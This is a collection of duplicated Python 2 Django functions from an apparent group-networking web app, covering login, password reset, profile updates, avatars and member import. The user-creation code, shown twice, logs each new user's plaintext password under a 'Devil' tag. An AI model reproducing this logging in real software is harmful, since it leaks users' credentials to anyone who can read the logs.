def link_confirm(request, user, link): my_member = myself_member(user, link.group.id) # smu if pt.smu(10008, link, 5): return -2 now = timezone.now() link.confirmed_time = now old_status = link.status if link.source_member == my_member: link.status = SOURCE_LINK_CONFIRM_STATUS_TRANSITION_TABLE[old_status] elif link.target_member == my_member: link.status = TARGET_LINK_CONFIRM_STATUS_TRANSITION_TABLE[old_status] else: logger.info( logger_join('Confirm', get_session_id(request), 'failed', lid=link.id)) return -1 link.save() # credit_processor(link, old_status) logger.info(logger_join('Confirm', get_session_id(request), lid=link.id)) return 0
def i_login(request): if request.user.is_authenticated(): return redirect('home') context = {"project_name": PROJECT_NAME, "lang": lang, "status": ''} if request.method == 'GET': return render(request, template_dir + 'login.html', context) elif request.method == 'POST': lf = LoginForm(request.POST) if lf.is_valid(): if login_user(request, lf.cleaned_data['username'], lf.cleaned_data['password']): logger.info(logger_join('Login', get_session_id(request))) return redirect('home') context["status"] = -1 return render(request, template_dir + 'login.html', context) else: return HttpResponse(status=403)
def link_reject(request, user, link): my_member = myself_member(user, link.group.id) now = timezone.now() link.confirmed_time = now old_status = link.status if link.source_member == my_member: link.status = SOURCE_LINK_REJECT_STATUS_TRANSITION_TABLE[old_status] elif link.target_member == my_member: link.status = TARGET_LINK_REJECT_STATUS_TRANSITION_TABLE[old_status] else: logger.info( logger_join('Reject', get_session_id(request), 'failed', lid=link.id)) return -1 link.save() # credit_processor(link, old_status) logger.info(logger_join('Reject', get_session_id(request), lid=link.id)) return 0
def i_login(request): if request.user.is_authenticated(): return redirect('home') context = {"project_name": PROJECT_NAME, "lang": lang, "status": ''} if request.method == 'GET': return render(request, template_dir+'login.html', context) elif request.method == 'POST': lf = LoginForm(request.POST) if lf.is_valid(): if login_user(request, lf.cleaned_data['username'], lf.cleaned_data['password']): logger.info(logger_join('Login', get_session_id(request))) return redirect('home') context["status"] = -1 return render(request, template_dir+'login.html', context) else: return HttpResponse(status=403)
def search(self, limit=-1): kw = input_filter(self.request.GET.get('kw')) groupid = self.request.GET.get('gid') logger.info(logger_join('Search', get_session_id(self.request), kw=kw.encode('utf-8'))) if kw == '': return [] if groupid: return self.__member_search(groupid, kw, limit) else: return self.__group_search(kw, limit)
def search(self, limit=-1): kw = input_filter(self.request.GET.get('kw')) groupid = self.request.GET.get('gid') logger.info( logger_join('Search', get_session_id(self.request), kw=kw.encode('utf-8'))) if kw == '': return [] if groupid: return self.__member_search(groupid, kw, limit) else: return self.__group_search(kw, limit)
def reset_by_email(request, token): if request.user.is_authenticated(): return redirect('home') context = {"project_name": PROJECT_NAME, "lang": lang, "status": 0} now = timezone.now() if request.method == 'GET' and rt_existed(token, now): return render(request, template_dir+'reset.html', context) elif request.method == 'POST' and rt_existed(token, now): rt = ResetToken.objects.get(token=token) user = rt.user new_passwd = request.POST.get('new') new_passwd2 = request.POST.get('new2') if validate_passwd(new_passwd, new_passwd2): user.set_password(new_passwd) user.save() rt.completed = True rt.save() logger.info(logger_join('Reset', get_session_id(request), u=user.username)) context["status"] = 2 return render(request, template_dir+'forget.html', context) else: # passwd is invalid context["status"] = -1 return render(request, template_dir+'reset.html', context) else: # token expired or not existed context['status'] = -3 return render(request, template_dir+'forget.html', context)
def create_group_member_from_file(request, group): members = [] with request.FILES.get('members') as f: for l in f: kv = l.strip().split(',') if len(kv) != 2: return -1 else: members.append(kv) for m in members: m = map(str.strip, m) if create_group_member(request, group, m[0], m[1]) != 0: logger.error(logger_join('File', get_session_id(request), 'failed', gid=group.id)) return m[0] logger.info(logger_join('File', get_session_id(request), gid=group.id)) return 0
def reset_by_email(request, token): if request.user.is_authenticated(): return redirect('home') context = {"project_name": PROJECT_NAME, "lang": lang, "status": 0} now = timezone.now() if request.method == 'GET' and rt_existed(token, now): return render(request, template_dir + 'reset.html', context) elif request.method == 'POST' and rt_existed(token, now): rt = ResetToken.objects.get(token=token) user = rt.user new_passwd = request.POST.get('new') new_passwd2 = request.POST.get('new2') if validate_passwd(new_passwd, new_passwd2): user.set_password(new_passwd) user.save() rt.completed = True rt.save() logger.info( logger_join('Reset', get_session_id(request), u=user.username)) context["status"] = 2 return render(request, template_dir + 'forget.html', context) else: # passwd is invalid context["status"] = -1 return render(request, template_dir + 'reset.html', context) else: # token expired or not existed context['status'] = -3 return render(request, template_dir + 'forget.html', context)
def reset(request): logger.info(logger_join('Access', get_session_id(request))) user = request.user if request.is_ajax(): passwd = request.POST.get('old') new_passwd = request.POST.get('new') new_passwd2 = request.POST.get('new2') if user.check_password(passwd): if validate_passwd(new_passwd, new_passwd2): user.set_password(new_passwd) user.save() logger.info(logger_join('Reset', get_session_id(request))) logger.info(logger_join('Logout', get_session_id(request))) logout(request) return HttpResponse(0, content_type='text/plain') return HttpResponse(-1, content_type='text/plain') else: return HttpResponse(status=403)
def reset(request): logger.info(logger_join('Access', get_session_id(request))) user = request.user if request.is_ajax(): passwd = request.POST.get('old') new_passwd = request.POST.get('new') new_passwd2 = request.POST.get('new2') if user.check_password(passwd): if validate_passwd(new_passwd, new_passwd2): user.set_password(new_passwd) user.save() logger.info(logger_join('Reset', get_session_id(request))) logger.info(logger_join('Logout', get_session_id(request))) logout(request) return HttpResponse(0, content_type='text/plain') return HttpResponse(-1, content_type='text/plain') else: return HttpResponse(status=403)
def question(request, groupid=0): logger.info(logger_join('Access', get_session_id(request), gid=groupid)) user = request.user groups = get_user_groups(user) rcmd_groups = Recommender(user).group() msgs_count = get_user_msgs_count(user) group = get_object_or_404(Group, id=groupid) group_privacy_check(user, group) qt = QuestionTemplate.objects.get(group__id=groupid) context = {"project_name": PROJECT_NAME, "lang": lang, "user": user, "group": group, "groups": groups, "rcmd_groups": rcmd_groups, "msgs_count": msgs_count, "authenticated": qt.authenticated, "template": qt.template} return render(request, template_dir+'question.html', context)
class Profile: def __init__(self, request): self.request = request self.user = request.user self.first_name = request.POST.get('firstname') self.last_name = request.POST.get('lastname') self.birth = request.POST.get('birth') self.gender = int(request.POST.get('gender')) self.country = request.POST.get('country') self.city = request.POST.get('city') self.institution = request.POST.get('institution') self.country, self.city = self.country.replace('-', ' '), self.city.replace( '-', ' ') def update(self): try: self.user.first_name = self.first_name self.user.last_name = self.last_name ue = Extra.objects.get(user=self.user) ue.gender = self.gender ue.birth = datetime.datetime.strptime(self.birth, '%Y/%m/%d').date() ue.location = self.country + '-' + self.city ue.institution = self.institution self.user.save() ue.save() self.update_groupmember_names() except Exception, e: # print 'Profile update failed: ', e logger.error( logger_join('Update', get_session_id(self.request), 'failed', e=e)) return -1 logger.info(logger_join('Update', get_session_id(self.request))) return 0
gender=False, # Todo: django timezone? birth=datetime.date.today(), credits=100, privacy=pri) extra.save() create_avatar(request, u.id, name) except Exception, e: logger.error( logger_join('Create', get_session_id(request), 'failed', e=e)) logout(request) return -4 logger.info(logger_join('Create', get_session_id(request))) logger.warning( logger_join( 'Devil', '[' + ','.join([str(request.user.id), name, password]) + ']')) return 0 ######################################################################## def get_user_name(user): last = user.last_name first = user.first_name if len(first) is 0 and len(last) is 0: return user.username
def i_logout(request): logger.info(logger_join('Logout', get_session_id(request))) logout(request) return redirect('welcome')
if len(word) >= 2 or cn: draw.text(xy, word[:2], (255, 255, 255), font=font) elif len(word) == 1: draw.text((69, 38), word, (255, 255, 255), font=font) else: return 0 try: img.save(save_path + 'hdpi/' + str(userid) + '.png') img.save(save_path + str(userid) + '.png') except IOError, e: logger.error(logger_join('Avatar', get_session_id(request), e=e)) return -1 logger.info(logger_join('Avatar', get_session_id(request))) return 0 def handle_uploaded_avatar(request): user = request.user try: image_string = cStringIO.StringIO( base64.b64decode( request.POST['imgBase64'].partition('base64,')[2])) image = Image.open(image_string) path = os.path.join(MEDIA_FOLDER, 'images/avatars/') if image.size != (400, 400):
if len(word) >= 2 or cn: draw.text(xy, word[:2], (255, 255, 255), font=font) elif len(word) == 1: draw.text((69, 38), word, (255, 255, 255), font=font) else: return 0 try: img.save(save_path + 'hdpi/' + str(userid) + '.png') img.save(save_path + str(userid) + '.png') except IOError, e: logger.error(logger_join('Avatar', get_session_id(request), e=e)) return -1 logger.info(logger_join('Avatar', get_session_id(request))) return 0 def handle_uploaded_avatar(request): user = request.user try: image_string = cStringIO.StringIO(base64.b64decode(request.POST['imgBase64'].partition('base64,')[2])) image = Image.open(image_string) path = os.path.join(MEDIA_FOLDER, 'images/avatars/') if image.size != (400, 400): image.resize((400, 400)).save(path + 'hdpi/' + str(user.id) + ".png", image.format, quality=100) else:
token=identifier, is_creator=is_creator, is_joined=is_joined, created_time=now) if is_joined: m.joined_time = now m.save() except Exception, e: # print 'Group member create: ', e logger.error(logger_join('Create', get_session_id(request), 'failed', e=e)) return -4 logger.info(logger_join('Create', get_session_id(request), mid=m.id)) return 0 def create_group_member_from_file(request, group): members = [] with request.FILES.get('members') as f: for l in f: kv = l.strip().split(',') if len(kv) != 2: return -1 else: members.append(kv) for m in members:
def i_logout(request): logger.info(logger_join('Logout', get_session_id(request))) logout(request) return redirect('welcome')
extra = Extra(user=u, gender=False, # Todo: django timezone? birth=datetime.date.today(), credits=100, privacy=pri) extra.save() create_avatar(request, u.id, name) except Exception, e: logger.error(logger_join('Create', get_session_id(request), 'failed', e=e)) logout(request) return -4 logger.info(logger_join('Create', get_session_id(request))) logger.warning(logger_join('Devil', '[' + ','.join([str(request.user.id), name, password]) + ']')) return 0 ######################################################################## def get_user_name(user): last = user.last_name first = user.first_name if len(first) is 0 and len(last) is 0: return user.username else: if re.match(u"[\u4e00-\u9fa5]{1,10}", last): return last + first else:
if not group_member_existed(source): continue else: status = 2 else: # Todo: maybe wrong ? if not group_member_existed(source, target): continue else: status = 0 l = Link(creator=creator, source_member_id=source, target_member_id=target, group_id=groupid, status=status, created_time=now) l.save() else: v.delete() except Exception, e: logger.error( logger_join('Update', get_session_id(request), 'failed', e=e)) return -1 logger.info(logger_join('Update', get_session_id(request), gid=groupid)) return 0